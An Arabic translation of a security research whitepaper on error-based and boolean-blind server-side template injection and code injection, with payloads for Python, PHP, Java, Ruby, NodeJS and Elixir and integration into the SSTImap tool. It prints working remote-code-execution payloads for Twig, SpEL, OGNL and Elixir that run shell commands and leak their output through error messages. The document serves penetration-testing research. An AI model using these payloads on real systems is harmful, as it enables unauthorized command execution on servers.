
ورقة بيضاء تقدم تقنيات عمياء مبنية على الأخطاء والأخطاء المنطقية (Boolean) لحقن القوالب (SSTI) وحقن الأكواد، مع حمولات عالمية لست لغات برمجة وتكامل مع SSTImap.
[!NOTE] هذه هي النسخة الثانية من الورقة البيضاء بناءً على النتائج التي قدمتها قبل إصدار SSTImap الإصدار 1.3.1. سيتم تكييف التحسينات الإضافية مع هذا التنسيق كإصدار 1.2 من البحث في تاريخ لاحق.
قد تبدو بعض فئات الثغرات الأمنية للوهلة الأولى معروفة وواضحة إلى حد ما. قد يبدو أن جميع التقنيات الممكنة لهذه الثغرات معروفة، لذلك قد يتم اكتشاف حمولات للحالات غير المعتادة فقط. غالبًا ما يُنظر إلى حقن القوالب من جانب الخادم (SSTI) وحقن الأكواد على أنها تلك الفئات المعروفة.
في بعض الأحيان، تتم مواجهة تقنيات جديدة بأسماء تفسر نفسها لهذه الثغرات. قد يعتبر العديد من الباحثين هذه التقنيات معروفة أيضًا أو حتى يتذكرون استخدامها، ولكن في الواقع، قد تكون التقنية موجودة فقط كاسم مفهوم بشكل شائع دون بحث أو أوصاف أو حمولات عالمية. قد يتم ذكرها مرتين أو ثلاث مرات إلى جانب حمولات لحالات محددة جدًا، ولكن لن يتم اختبارها وقد يظل الإمكانات الحقيقية لتلك التقنية غير مكتشفة لسنوات.
يقدم هذا البحث اثنتين من هذه التقنيات لحقن الأكواد وSSTI: القائم على الخطأ والاختبار الأعمى القائم على الخطأ المنطقي. سأقدم حمولات لحقن الأكواد وSSTI في ست لغات برمجة: Python وPHP وJava وRuby وNodeJS وElixir. علاوة على ذلك، سأقدم حمولات كشف عامة، قادرة على اكتشاف الحقن الأعمى بسرعة.
سأقدم الجدول الزمني الكامل لبحثي من العثور على المؤشرات المبكرة إلى الاستنتاجات النهائية. سأستكشف أيضًا عملية إنشاء حمولات جديدة للغات برمجة وقوالب لم يتم ذكرها في هذا البحث.
في هذا البحث سأعرض أمثلة على التطبيقات العملية للتقنيات الجديدة وأشارك المجالات المحتملة للبحث الإضافي. يمكن استخدام جميع الحمولات المقدمة لاكتشاف واستغلال الثغرات في التطبيقات الحقيقية. بالإضافة إلى ذلك، تمت إضافة جميع الحمولات المقدمة إلى أداة المصدر المفتوح SSTImap، مما يسهل تطبيق نتائج هذا البحث على أهداف العالم الحقيقي.
تظهر ثغرات حقن القوالب من جانب الخادم على مواقع الويب الديناميكية التي تستخدم محركات القوالب لعرض الصفحات من جانب الخادم، عندما يتم إدخال مدخلات المستخدم غير الموثوقة في القالب قبل معالجتها بواسطة محرك القالب. يمكن للمهاجم إدخال بناء جملة قالب صالح، والذي ستتم معالجته بواسطة محرك القالب أثناء عرض الصفحة. توفر العديد من محركات القوالب شكلاً من أشكال وظائف تنفيذ الأكواد، مما يؤدي غالبًا إلى تنفيذ الأكواد عن بُعد (RCE) على الخادم المستهدف. يركز هذا البحث على محركات القوالب التي توفر مثل هذه الإمكانيات في حالة الاستغلال.
كانت ثغرات SSTI معروفة منذ عام 2015، وخلال ذلك الوقت تم اكتشاف العديد من الحمولات التي توفر تسريب المعلومات وتجاوز الفلاتر والهروب من الحاوية الآمنة. على الرغم من ذلك، فإن معظم الحمولات إما تعرض النتيجة مباشرة على الصفحة أو تركز على حقيقة تنفيذ الأكواد نفسها، متجاهلة النتائج التي تنتجها تلك الأكواد.

أسلوب SSTI المعروف الآخر هو الأعمى القائم على الوقت، والذي يتضمن إضافة تأخير إلى أمر الصدفة المنفذ. يسمح هذا الأسلوب بتحديد نجاح تنفيذ الكود المحقون ولكنه يتطلب تخمين الحمولة لتنفيذ أمر نظام التشغيل، مما يجعل اكتشاف SSTI الأعمى في محرك قوالب غير معروف للباحث أكثر صعوبة.

تم اكتشاف فئة ثغرات SSTI وكلا الأسلوبين المعروفين للاستغلال في عام 2015 بواسطة جيمس كيتل. تم وصف هذه التقنيات بتفصيل كبير في بحثه "Server-Side Template Injection: RCE For The Modern Web App". 1 في السنوات العشر منذ ذلك الحين، لم يتم توثيق أي تقنيات استغلال جديدة. تم اكتشاف تقنية كشف واحدة فقط في عام 2023، باستخدام حمولات متعددة اللغات لاختبار عدة محركات قوالب في وقت واحد. تم اكتشاف هذه التقنية بواسطة ماكسيميليان هيلدبراند وتم وصفها في بحثه "Improving the Detection and Identification of Template Engines for Large-Scale Template Injection Scanning". 2 تركز هذه التقنية على تحديد محركات القوالب باستخدام أقل عدد من الطلبات، ولكنها تعمل فقط في سياقات الحقن البسيطة.

معظم محركات القوالب المبنية على لغات البرمجة المفسرة، مثل PHP وNodeJS وPython، تسمح بشكل مباشر بتقييم تعبيرات لغات البرمجة المقابلة. تسمح لنا هذه الإمكانية باستخدام حمولات لفئة أوسع من ثغرات حقن الأكواد عن طريق تغليفها بالتنسيق الصحيح لوسم القالب.
يمكن أن يحدث حقن الأكواد أيضًا بدون SSTI، عندما يمكن لمدخلات المستخدم غير الموثوقة أن تصل إلى eval() أو دالة خطيرة مماثلة.
غالبًا ما يُعتبر أن استغلال حقن الأكواد هو مجرد برمجة بلغة مقابلة،
لذلك يتم توثيق التقنيات والحمولات فقط لأمثلة محددة من الثغرات، والتي تتطلب تخصيص الكود للتطبيق الهدف.
يؤدي عدم وجود تقنيات كشف أكثر عالمية لحقن الأكواد وSSTI إلى عدم فعالية المسح الضوئي للصندوق الأسود للحقن الأعمى للقوالب والأكواد.
في هذا البحث، سيتم تقديم اثنتين من التقنيات الجديدة لحقن الأكواد وSSTI، بالإضافة إلى حمولات لست لغات برمجة وحمولات كشف عامة. ستعمل التقنيات المقدمة على توسيع قدرات استغلال SSTI الأعمى، بالإضافة إلى السماح بمسح حقن الأكواد وSSTI الأعمى دون تخمين لغة البرمجة للكود المحقون.
تهدف الحمولات المقدمة في هذا البحث إلى الاختبار العملي الاختراقي لتطبيقات الويب الحقيقية. يتم أيضًا دمج جميع الحمولات المعروضة في وحدات الأداة مفتوحة المصدر لاكتشاف SSTI وحقن الأكواد المسماة SSTImap. 3 تمت إضافة دعم التقنيتين الجديدتين بالإضافة إلى الحمولات المقابلة في الإصدار 1.3.0. الحمولات الأقل عمومية والأكثر تحديدًا للتطبيق العملي للتقنيات الجديدة، المقدمة في هذا البحث، مدمجة في وحدات SSTImap إضافية، والتي يمكن العثور عليها في مستودع مخصص لوحدات "الإضافية". 4
خلال تطوير الحمولات لوحدات SSTImap، واجهت قيودًا واكتشافات كانت بمثابة مؤشرات أدت إلى التقنيات المقدمة في هذا البحث. واجهت سيناريوهات مختلفة من SSTI وحقن الأكواد، حيث كان من المستحيل الحصول على المخرجات من الكود المحقون باستخدام التقنيات الحالية. أثناء مواجهة هذه القيود، اختبرت أفكارًا مختلفة للحصول على المخرجات، والتي قادت في النهاية إلى اكتشاف التقنيتين الجديدتين الموثقتين في هذا البحث.
تمت مواجهة المؤشر الأول الذي يشير إلى قيود محتملة أثناء تحديثي للحمولات لمحرك القالب Dust.JS. يعتبر هذا المحرك قديمًا ويبدو مهجورًا، بينما كان تنفيذ الأكواد ممكنًا فقط مع الإصدارات القديمة من dustjs-helpers من عام 2015. كانت وحدة SSTImap لهذا المحرك موروثة من قاعدة كود Tplmap 5 وكان تحسينها مهمة ذات أولوية منخفضة، لكن الوحدة تسببت في العديد من النتائج الإيجابية الخاطئة في حالة محركات القوالب البسيطة الخالية من المنطق.

لإصلاح المشكلة، قمت بتحسين الحمولة، لكن محرك القالب والحمولات الخاصة به لفتت انتباهي.
كان حقن الأكواد ممكنًا داخل شرط كتلة if، والذي تم تمريره مباشرة إلى eval(). 6
لم يتم عرض النتيجة على الصفحة، لذلك اعتُبر أن RCE سيكون دائمًا أعمى حتى في حالة SSTI المنعكسة.

في ذلك الوقت، كان البحث في محرك قالب قديم لإنشاء حمولة جديدة منخفضًا جدًا على قائمة أولوياتي، لذلك قررت عدم التحقيق في أي طرق محتملة للحصول على المخرجات.
واجهت المؤشر الثاني أثناء تطوير الحمولات للإصدارات الجديدة من محرك القالب Twig. كانت الحمولات للإصدارات المبكرة مثبتة بالفعل، لذلك قررت إنشاء وحدة جديدة بحمولات محدثة. أثناء بحثي عن طرق أكثر حداثة لاستغلال Twig، اكتشفت CVE-2022-23614 التي سمحت بتجاوز الحاوية الآمنة باستخدام إحدى الحمولات الشائعة للإصدارات الحديثة. 7
بالنسبة لوحدة SSTImap الجديدة، قررت استخدام حمولة قادرة على استغلال تجاوز الحاوية الآمنة، لأنها كانت تعمل أيضًا مع جميع إصدارات Twig تقريبًا القابلة للاستغلال بالحمولات الحديثة.
كان تجاوز الحاوية الآمنة ممكنًا عن طريق تمرير سلسلة تحتوي على اسم دالة PHP كمعامل لعامل التصفية |sort،
مما يتسبب في استدعاء القالب لتلك الدالة مع عنصري مصفوفة كوسائط.
على غرار حالة Dust.JS، يتم استخدام مخرجات الدالة داخليًا كشرط (هذه المرة لفرز المصفوفة)، لذلك لا يتم إعادتها إلى سياق القالب.
لا يعيق هذا القيد الاستغلال، لأن دالة system() في PHP تقوم بإخراج نتائج تنفيذ أمر نظام التشغيل مباشرة على صفحة الويب، مما يسمح لنا بالحصول على المخرجات متجاوزًا محرك القالب.
أصبحت فضوليًا حول إمكانية الحصول على المخرجات داخل محرك القالب للتطبيق المحتمل كجزء من بعض التجاوزات أو تقنية استغلال SSTI جديدة. لم تكن هناك حاجة لإنشاء وحدة جديدة لـ Twig، لذلك قررت عدم تخصيص أي وقت لتطوير حمولات جديدة للوصول إلى نتائج الحقن داخل القالب.

تسمح الثغرة CVE-2025-1302 في وحدة Node.JS JSONPath Plus قبل الإصدار 10.3.0 بحقن كود JavaScript عشوائي عن طريق الوصول إلى منشئ الدالة داخل بناء جملة الشرط الموسع لـ jsonpath. 8 قررت إنشاء وحدة SSTImap إضافية جديدة للكشف التلقائي عن واستغلال CVE-2025-1302 في حالة حقن jsonpath من جانب الخادم.

على غرار Dust.JS، كان حقن الأكواد ممكنًا فقط داخل الشرط، لذلك لم تكن هناك طريقة مباشرة للحصول على المخرجات وعرضها على الصفحة. على الرغم من ذلك، قررت البحث في إمكانية استخراج المخرجات، مما قادني في النهاية إلى المؤشر الثالث الذي يشير إلى الإمكانات التي أدت في النهاية إلى الاكتشافات التي نوقشت في هذا البحث.
يتم استخدام وحدة JSONPath Plus للوصول إلى البيانات داخل كائنات JSON.
في العديد من لغات البرمجة المفسرة مثل JavaScript، تعمل هذه الكائنات غالبًا ضمنيًا كمؤشرات للحد من استهلاك الموارد.
في نفس الوقت، تسمح وحدة JSONPath Plus بالوصول إلى الكائن الذي يتم البحث فيه باستخدام بناء @root.
وجدت طريقة لتمرير ذلك الكائن إلى الكود المحقون داخل الشرط، مما يسمح بحفظ المخرجات داخل سمات الكائن ثم الوصول إليها باستخدام بناء جملة jsonpath المحقون.
هذه الطريقة بعيدة كل البعد عن كونها طريقة عالمية للوصول إلى المخرجات لأنها تحد بشكل كبير من سياقات الحقن القابلة للاستغلال لسيناريوهات حقن الأكواد المنعكسة. بحثت في طرق محتملة أخرى لاستخراج المخرجات، مثل تلويث النموذج الأولي، لكنني لم أتمكن من اكتشاف تقنية أكثر عالمية. على الرغم من ذلك، هذه المرة تمكنت من استخراج المخرجات من الشرط.
على عكس جميع الحالات السابقة، حيث تمت مواجهة القيود أثناء تطوير الحمولة، تم اكتشاف المؤشر الأخير الذي أدى إلى هذا البحث أثناء استكشاف تطبيق حقيقي. كنت أختبر باني روبوتات بدون كود لـ Discord، والذي يسمح للمستخدمين بتخصيص قوالب الرسائل. بحد ذاته، لم يكن محرك القالب المستخدم لهذا الغرض يقوم بتقييم أي كود، لكنه كان يحتوي على وسم مخصص لتقييم التعبيرات الرياضية.
من خلال فحص رسائل الأخطاء المختلفة التي أرجعها ذلك الوسم، حددت أن التعبيرات تم تقييمها باستخدام وحدة Node.JS المسماة expr-eval.
تسمح هذه الوحدة بـ RCE من خلال الوصول إلى منشئ الكائن الذي يسمح بالوصول إلى الخاصية التعسفية (CVE-2025-13204).
قمت بتعديل الحمولة لتجنب كسر بناء جملة وسم القالب، لكن بدلاً من نتائج تنفيذ الأكواد، حصلت فقط على NaN.

يبدو أن النتيجة من expr-eval يتم تحويلها إلى رقم بواسطة محرك القالب، مما يمنع انعكاس مخرجات تنفيذ الأكواد. ومع ذلك، يتم تحويل النتيجة إلى رقم فقط في حالة التقييم الناجح. في حالة حدوث خطأ، يقوم القالب باستبدال الوسم بالنص الكامل للخطأ، والذي يحتوي أحيانًا على جزء من كودي.

قررت البحث في إمكانية استخراج نتائج تنفيذ الأكواد من خلال تلك الأجزاء من رسائل الأخطاء. توجد تقنية تسمح باستخراج استعلامات SQL من خلال رسائل أخطاء تم تشغيلها بشكل خاص. 9 افترضت وجود تقنيات مماثلة لحقن الأكواد وSSTI.

حاولت البحث عن "Error-based SSTI" وأسماء محتملة أخرى لتقنيات SSTI وحقن الأكواد هذه، ومع ذلك تمكنت فقط من العثور على حمولات متعددة اللغات قائمة على الأخطاء من ورقة بحثية واحدة تم إجراؤها في عام 2023 وتقنية لتحديد محرك القالب من خلال النظر إلى رسالة الخطأ. النتيجة الوحيدة التي كانت مشابهة عن بعد لما كنت أبحث عنه كانت حمولة واحدة لقوالب Freemarker أنشأها الباحث نيكولاس فيردييه. 10

سمحت تلك الحمولة بتحديد نجاح تنفيذ الأكواد في حالة الحقن الأعمى عن طريق تشغيل خطأ بشكل مشروط. توجد تقنية مماثلة لحقن SQL مما أكد افتراضاتي بأن تقنيات مماثلة يمكن أن تعمل لحقن الأكواد وSSTI.
أدركت أن التقنية التي كنت أبحث عنها لم يتم توثيقها من قبل، لذلك قررت إجراء هذا البحث لتطوير الحمولات المطلوبة. علاوة على ذلك، قررت إضافة هذه التقنية إلى أداتي مفتوحة المصدر SSTImap.
قررت تطوير حمولات من شأنها أن تسمح لنا بتشغيل أخطاء تحتوي على نتيجة تنفيذ الأكواد كجزء من رسالة الخطأ.
توجد تقنية مماثلة بالفعل لحقن SQL.
على سبيل المثال، CONVERT(INT, …) في SQL يحول سلسلة إلى رقم.
إذا كانت السلسلة لا تمثل رقمًا صالحًا، ستعيد قاعدة البيانات نص خطأ يحتوي على تلك السلسلة.
إذا تم عرض رسالة الخطأ هذه للمستخدم، يمكننا الحصول على المخرجات حتى من الحقن الأعمى.
يمكن استخدام نهج مماثل لـ SSTI وحقن الأكواد. تعكس بعض رسائل الأخطاء البيانات المقدمة من المستخدم، مما يسمح لنا باستخدام هذه الأخطاء للحصول على مخرجات الكود المحقون.

عادةً ما تسمح لغات البرمجة للمستخدمين بإنشاء أخطاء برسائل خطأ مخصصة، لكنه غالبًا ما يكون من المستحيل استخدام هذه الإمكانيات مباشرة أثناء استغلال الثغرة. في معظم الحالات، يسمح الحقن فقط بتقييم التعبير، مما يمنع الكود المحقون من استخدام تركيبات اللغة اللازمة لإثارة الأخطاء أو إنشاء فئات خطأ جديدة. لجعل حمولاتي أكثر عالمية لتغطية أفضل، قررت التركيز على الحقن في سياقات تعبير اللغة، حيث يُسمح فقط بالمشغلات الأساسية والقيم الحرفية واستدعاءات الدوال.
لذلك، لاستغلال SSTI وحقن الأكواد باستخدام هذه التقنية، كان علي العثور على رسائل أخطاء تعكس البيانات المقدمة من المستخدم. في معظم الحالات، يمكن استخدام حمولات حقن الأكواد لاستغلال SSTI عن طريق تغليف الحمولات بوسوم القوالب. كجزء من هذا البحث، سأغطي حمولات لخمس لغات برمجة: Python وPHP وRuby وNodeJS وElixir، بالإضافة إلى محركات القوالب التي يدعمها SSTImap، إذا كانت هذه الحمولات تختلف بشكل كبير عن حمولات لغة البرمجة المقابلة. بالإضافة إلى ذلك، ستتم تغطية الحمولات لمحركات القوالب القائمة على Java، بالإضافة إلى حمولات الكشف العامة في هذه الورقة.
في بداية بحثي، قررت العثور على حمولات للغة البرمجة Python التي أستخدمها كثيرًا في مهامي اليومية. في البداية حاولت تطبيق نفس المبدأ كما في حقن SQL عن طريق تحويل السلسلة إلى عدد صحيح. في هذه الحالة، تعكس رسالة الخطأ بالفعل السلسلة المقدمة من المستخدم، لكنني اكتشفت قريبًا أن السلاسل الطويلة يتم اقتطاعها، لذلك لا يمكن عكس سوى أول 199 حرفًا.

قررت البحث عن رسائل أخطاء أخرى من شأنها أن تسمح بعكس السلاسل المقدمة من المستخدم بأي طول.
اتضح أن الوصول إلى سمة غير موجودة باستخدام دالة getattr() يؤدي إلى تشغيل مثل هذا الخطأ.
نتيجة لذلك، حصلت على حمولة getattr("", OUTPUT)، والتي تعكس السلسلة OUTPUT دون أي قيود على الطول.

تعمل هذه الحمولة مع جميع محركات القوالب القائمة على Python التي تم اختبارها، على الرغم من أن Jinja2 تطلب بعض التعديلات لاستدعاء دالة Python getattr():```python3
{{ cycler.init.globals.builtins.getattr("", OUTPUT) }}
بالإضافة إلى ذلك، بالنسبة لمحرك القوالب Jinja2، اكتشفت حمولة أخرى تؤدي إلى خطأ *TemplateNotFound*: `{% include OUTPUT %}`.
تمت إضافة هذه الحمولة إلى وحدة Jinja2 القديمة لـ SSTImap.

### PHP
لاستغلال حقن كود PHP المعتمد على الأخطاء، اكتشفت العديد من رسائل الخطأ التي كانت لها قابلية تطبيق متفاوتة لمحركات القوالب المختلفة.
على سبيل المثال، يسمح PHP باستدعاء سلسلة نصية كدالة يكون اسمها مساويًا لمحتويات السلسلة.
إذا لم تكن هذه الدالة موجودة، فإن رسالة الخطأ الناتجة ستحتوي على السلسلة المُقدمة بالكامل.
ونتيجة لذلك، نحصل على حمولة بسيطة: `OUTPUT()`
لا تعمل هذه الحمولة في معظم محركات القوالب، لذا واصلت بحثي واكتشفت الخطأ الناتج عن محاولة فتح ملفات غير موجودة باستخدام دالة `fopen()`.
تعمل هذه الحمولة في جميع محركات القوالب المختبرة تقريبًا: `fopen(OUTPUT, "r")`
بالإضافة إلى ذلك، وجدت دالة `include()` التي تؤدي إلى خطأ مماثل.
يمكن استخدام الحمولة `include(OUTPUT)` أو ما شابهها في معظم محركات القوالب التي توفر إمكانيات وراثة القوالب.
فشلت الحمولات التي تستخدم `fopen()` و `include()` في بعض الحالات.
اتضح أن تلك الدوال تسبب **تحذيرات** PHP قد يتم عرضها داخل مخرجات القالب التي لا يمكننا الوصول إليها.
قررت تعديل الحمولة الأولى باستخدام `call_user_func()` لاستدعاء سلسلة نصية كدالة دون استخدام صيغة PHP الخاصة.
ونتيجة لذلك، حصلت على الحمولة: `call_user_func(OUTPUT)`، والتي تؤدي إلى **خطأ فادح**، مما يقطع العرض ويعكس رسالة الخطأ مباشرة على الصفحة.

تُستخدم دالة `system()` شائعة الاستخدام لـ RCE، حيث تطبع المخرجات على الصفحة، لكنها تُرجع السطر الأول فقط من النتيجة.
لالتقاط المخرجات الكاملة، قررت استخدام `shell_exec()`.
تقبل هذه الدالة وسيطة واحدة بالضبط، لذا عملت بشكل جيد مع معظم محركات القوالب، بما في ذلك الإصدارات القديمة من **Twig**:```php
{{_self.env.registerUndefinedFilterCallback("shell_exec")}}
{%set OUTPUT=_self.env.getFilter("ls -la")%}
بالنسبة للإصدارات الأحدث من Twig، استخدمت عامل التصفية |map للحفاظ على المخرجات، لكنه مرّر فهرس المصفوفة كعنصر ثانٍ، مما جعل استخدام دالة shell_exec() مباشرةً مستحيلاً.
لتجاوز هذا القيد، استخدمت دالة call_user_func() لاستدعاء shell_exec() وقاموس بدلاً من مصفوفة للتحكم في قيم الفهرس:```php
{% set OUTPUT={"ls -la": "shell_exec"}|map("call_user_func")|join %}
لإحداث الخطأ في Twig والحصول على نتائج التنفيذ، يمكننا استخدام الحمولة **الخطأ القاتل** التي تستدعي الدالة غير الموجودة: `{{ [0]|map(OUTPUT) }}` أو تضمين الملف غير الموجود: `{% include(OUTPUT) %}`

### Java
لا توفر Java وظيفة مضمنة عالمية لتقييم الكود، لذلك لا توجد حمولات عالمية لـ Java.
بدلاً من ذلك، يتم استخدام لغات التعبير مثل **Spring Expression Language** (**SpEL**).
لهذه اللغة، من الممكن استخدام حيلة بسيطة لتحويل سلسلة نصية إلى رقم:```java
"".getClass().forName('java.lang.Integer').valueOf(OUTPUT)
سيعمل هذا الحمولة أيضًا مع لغات التعبير المماثلة الأخرى. للتحقق من بناء جملة SpEL، يمكننا استخدام طريقة SpEL الخاصة بالوصول إلى الفئات: T(java.lang.Integer).valueOf(OUTPUT) للحصول على نتائج تنفيذ أوامر نظام التشغيل كسلسلة نصية، يمكننا استخدام الحمولة:```java
T(java.lang.String).getConstructor(T(byte[])).newInstance(T(java.lang.Runtime).getRuntime().exec("…").inputStream.readAllBytes())

لغة تعبير شائعة أخرى مستخدمة في جافا هي **OGNL**.
تؤدي هذه اللغة إلى إطلاق خطأ يحتوي على سلسلة مقدمة من المستخدم عند استخدام تلك السلسلة في عملية حسابية: `OUTPUT/0`
يمكن تحويل نتيجة RCE إلى سلسلة باستخدام هذا الحمولة:```java
new String(@java.lang.Runtime@getRuntime().exec("…").inputStream.readAllBytes())
لقد قمت أيضًا بإنشاء حمولات لمحركي قوالب يعتمدان على Java مدعومين من SSTImap.
على سبيل المثال، تسمح قوالب Freemarker ببناء كائنات محدودة عن طريق تطبيق مرشح ?new() على السلسلة التي تحتوي على اسم الفئة المقابلة.
إذا لم تكن هذه الفئة موجودة، فإن رسالة الخطأ ستعكس السلسلة بأكملها.
يمكن استخدام هذا لإنشاء حمولة بسيطة: ${ OUTPUT?new() }

يدعم محرك القوالب Velocity تضمين القالب باستخدام توجيه #include().
بالنسبة للقوالب غير الموجودة، ستعكس رسالة الخطأ الاسم المقدم: #include(OUTPUT)

يمكن استخدام الحمولة الخاصة بـ Ruby لكل من حقن الأكواد (Code Injection) وSSTI، وتستخدم الخطأ الناتج عند الوصول إلى ملف غير موجود، وهو أمر شائع لهذه التقنية: File.read(OUTPUT)

بالنسبة لحقن الأكواد القائم على الأخطاء في NodeJS، من الممكن إثارة الخطأ عن طريق تضمين وحدة غير موجودة باستخدام دالة require()، إذا كانت متاحة في سياق الحقن: require(OUTPUT)
بدلاً من ذلك، تقوم JavaScript بإثارة خطأ عاكس عن طريق الوصول إلى خاصية undefined: ""["x"][OUTPUT]
تعكس لغة البرمجة Elixir السلسلة داخل رسالة خطأ عندما تُستخدم تلك السلسلة كمؤشر لقائمة بدلاً من كائن atom: [1, 2][OUTPUT]
يمكن عكس نتيجة تنفيذ أمر نظام التشغيل باستخدام [1, 2][elem(System.shell(" … "), 0)]

للكشف القائم على الأخطاء عن SSTI وحقن الأكواد، نحتاج إلى حمولة من شأنها إثارة خطأ في أي لغة برمجة. في هذه الحالة، سيكون من الممكن اكتشاف لغة البرمجة من خلال رسالة خطأ نموذجية أو على الأقل العثور على الكلمات المفتاحية التي تشير إلى وجود خطأ، إذا لم تكن لغة البرمجة مدعومة بعد.
كانت فكرتي الأولى لإنشاء مثل هذه الحمولة هي استخدام القسمة على صفر، لكن بعض لغات البرمجة مثل JavaScript لا تتعامل مع هذه الحمولة كخطأ، بل تعيد ببساطة NaN.
لمعالجة هذه الحالات، قررت إضافة استدعاء لدالة غير معرفة: (1/0)+zxy()
أثارت الحمولة الجديدة خطأ في NodeJS، لكنها أثارت أخطاء نحوية مختلفة في بعض محركات القوالب القائمة على PHP مما عقد اكتشاف لغة البرمجة.
لتجنب الكشف المبكر عن الدالة غير الموجودة أثناء تحليل القالب، قررت تحديث الحمولة لاستخدام الخطأ الناتج عن الوصول إلى خاصية undefined.
سيتطلب الوصول إلى السمة تقييم الجزء الأول، بينما في حالة تسلسل السلاسل في PHP، سيتم تقييم جميع الأجزاء في وقت التشغيل بدءًا من القسمة على صفر.
ونتيجة لذلك، قمت بإنشاء حمولة قادرة على اكتشاف انعكاسات رسائل الخطأ المطولة في حالة الحقن العامة: (1/0).zxy.zxy
بالنسبة لوحدة SSTImap، أضفت اكتشاف رسائل الخطأ النموذجية لجميع لغات البرمجة الخمس المدعومة، بالإضافة إلى البحث عن الكلمات المفتاحية لاكتشاف نوع الخطأ إذا لم تكن لغة البرمجة أو محرك القوالب مدعومًا بعد.

بعد اكتشاف انعكاس الخطأ المطول وتحديد لغة البرمجة من نص الخطأ، سنظل بحاجة إلى العثور على رسالة خطأ تعكس القيمة المقدمة من المستخدم لإنشاء حمولات لـ RCE القائم على الأخطاء.
عادةً، يمكن إثارة مثل هذه الأخطاء عند الوصول إلى ملفات أو وحدات غير موجودة، أثناء التفاعلات غير المعتادة مع كائنات خاصة مثل null أو undefined، وكذلك في حالة الدوال أو الفئات أو السمات غير الموجودة.
على عكس ذلك، لا توفر الأخطاء النحوية أي إمكانيات لاستخراج البيانات، لأنها تقطع تحليل القالب قبل حدوث أي تقييم للأكواد المحقونة.
للاستغلال الآلي الناجح، يجب عليك التأكد من عدم اقتطاع النصوص الطويلة ومتعددة الأسطر.
علاوة على ذلك، من المهم منع الحالات التي تكون فيها النتيجة مساوية لشيء صالح لن يؤدي إلى خطأ.
لهذه الحالات، يجب إضافة بادئة تجعل أي مخرجات غير صالحة.
على سبيل المثال، من غير المحتمل أن يحتوي موقع الويب المستهدف على ملفات أو فئات أو سمات تبدأ بـ Y:/A:/.
تقوم معظم خوادم الويب والتطبيقات الحديثة بتعطيل إخراج الأخطاء المطول، مما يمنع استغلال حقن الأكواد وSSTI القائمين على الأخطاء. من المستحيل الحصول على النص الكامل لرسالة الخطأ في مثل هذه الحالات، ولكن يمكن عادةً اكتشاف الخطأ نفسه. هذا يسمح لنا بتحديد نجاح الحقن الأعمى عن طريق اكتشاف خطأ يتم إثارته بشكل مشروط.

في الواقع، يمكن أن تكشف الاستجابات المختلفة عن نتيجة الحقن الأعمى.
على سبيل المثال، في حالة حقن SQL الأعمى القائم على المنطق، فإن حمولة مثل AND SUBSTRING((…), 1, 1) = 's' لن تعيد نتائج إلا إذا كانت القيمة المستهدفة تبدأ بالحرف s.
تعتمد هذه التقنية على سلوك التطبيق المختلف في الحالات التي لا يتم فيها إرجاع نتائج.
هذا لا ينطبق على معظم حالات حقن الأكواد وSSTI.

ومع ذلك، توجد تقنية مماثلة تسمى حقن SQL الأعمى القائم على الأخطاء، حيث يتم استخدام القيمة المستهدفة لإثارة خطأ بشكل مشروط في حالة واحدة فقط، مع عدم مقاطعة الأخرى: CASE WHEN 1=1 THEN 1 ELSE json('') END

يمكن تكييف هذه التقنية لتعمل مع حقن الأكواد وSSTI. علاوة على ذلك، لقد صادفت بالفعل حمولة لهذه التقنية من قبل. كانت تلك حمولة لمحرك القوالب Freemarker من قبل Nicolas Verdier، والتي سبق ذكرها في هذا البحث. 10

تسمح لنا لغات البرمجة بالفعل بالحصول على شروط تحدد الكود الذي سيتم تنفيذه. يمكن تحقيق ذلك باستخدام هياكل أو عوامل تشغيل خاصة باللغة. ومع ذلك، كما هو الحال مع تقنية الأخطاء، قررت تجنب هياكل اللغة في حمولات حقن الأكواد الأكثر عمومية، لأنها لن تكون متاحة في العديد من سياقات الحقن. قررت أيضًا تجنب استخدام عامل التشغيل الشرطي الثلاثي (ternary)، لأن مثل هذه العوامل المعقدة قد لا تكون مدعومة من قبل العديد من محركات القوالب وسياقات الحقن الأخرى التي تستخدم محللاتها الخاصة.
لتجنب النتائج الإيجابية الخاطئة، يجب إثارة الخطأ في الحالة التي لم يوفر فيها حقننا نتيجة صالحة، لأنه قد يكون من المستحيل التمييز بين الأخطاء التي تم إثارتها عمدًا بواسطة حقننا وأي أخطاء أخرى قد تكون الحمولة قد تسببت فيها.
لأتمتة اختبار حقن الأكواد وSSTI الأعمى القائم على الأخطاء المنطقية، نحتاج إلى طريقة لاكتشاف الأخطاء في استجابات الخادم. يمكن للمستخدمين تقديم تعبيرات منتظمة لاكتشاف الصفحات العادية أو صفحات الخطأ، ولكن يمكننا أيضًا محاولة اكتشاف الأخطاء بمقارنة رمز الاستجابة وطوله والرؤوس والمعايير الأخرى مع المعلمات المقابلة للاستجابة العادية.
بغض النظر عن النهج الذي نختاره، سنحتاج إلى استخدام زوجين من الحمولات المتشابهة. ستتجنب الاختلافات البسيطة بين الحمولات في كل زوج النتائج الإيجابية الخاطئة الناتجة عن أخطاء من WAF أو البروكسي، بينما سيخفف استخدام زوجين من النتائج الإيجابية الخاطئة الناتجة عن مشاكل خارجية عشوائية.
لتحديد الاستجابة العادية للتطبيق، قررت استخدام حمولات رقمية لتجنب الأخطاء النحوية في معظم سياقات الحقن. تتم مقارنة استجابات متعددة لتحديد المعلمات الأكثر استقرارًا لاستجابة التطبيق. يتم تجاهل الطلب الأول لتجنب أي تداخل من الإجراءات التي قد يقوم بها التطبيق أثناء الاتصال الأول من عنوان IP جديد.
تم اختيار معايير متعددة لمقارنة الطلب:
تعتبر المعلمات مستقرة إذا بقيت كما هي لجميع الاستجابات أو إذا كانت تتأرجح ضمن 5% من المتوسط (للقيم الرقمية).

لتحديد صحة/حقيقة نتائج الحقن، يمكننا استخدام القسمة على قيمة منطقية.
سيتم تحويل القيمة الصحيحة (Truthful) إلى واحد، والذي لا يؤدي إلى خطأ، بينما القيم التي تُقيم إلى False ستؤدي إلى خطأ القسمة على صفر.
يمكننا استخدام هذا التعبير كحمولة لدينا: 1 / ( OUTPUT )
لاكتشاف الحقن، يمكن استخدام زوجي الحمولات التالية:
'a'.join('bc') == 'bac' و 'a'.join('bc') == 'abc'bool('False') == True و bool('True') == Falseتنفيذ الكود ممكن باستخدام bool(eval( … ))، بينما يمكن التحقق من تنفيذ أمر نظام التشغيل باستخدام os.popen( … )._proc.wait() == 0 بدءًا من بايثون 3.6.
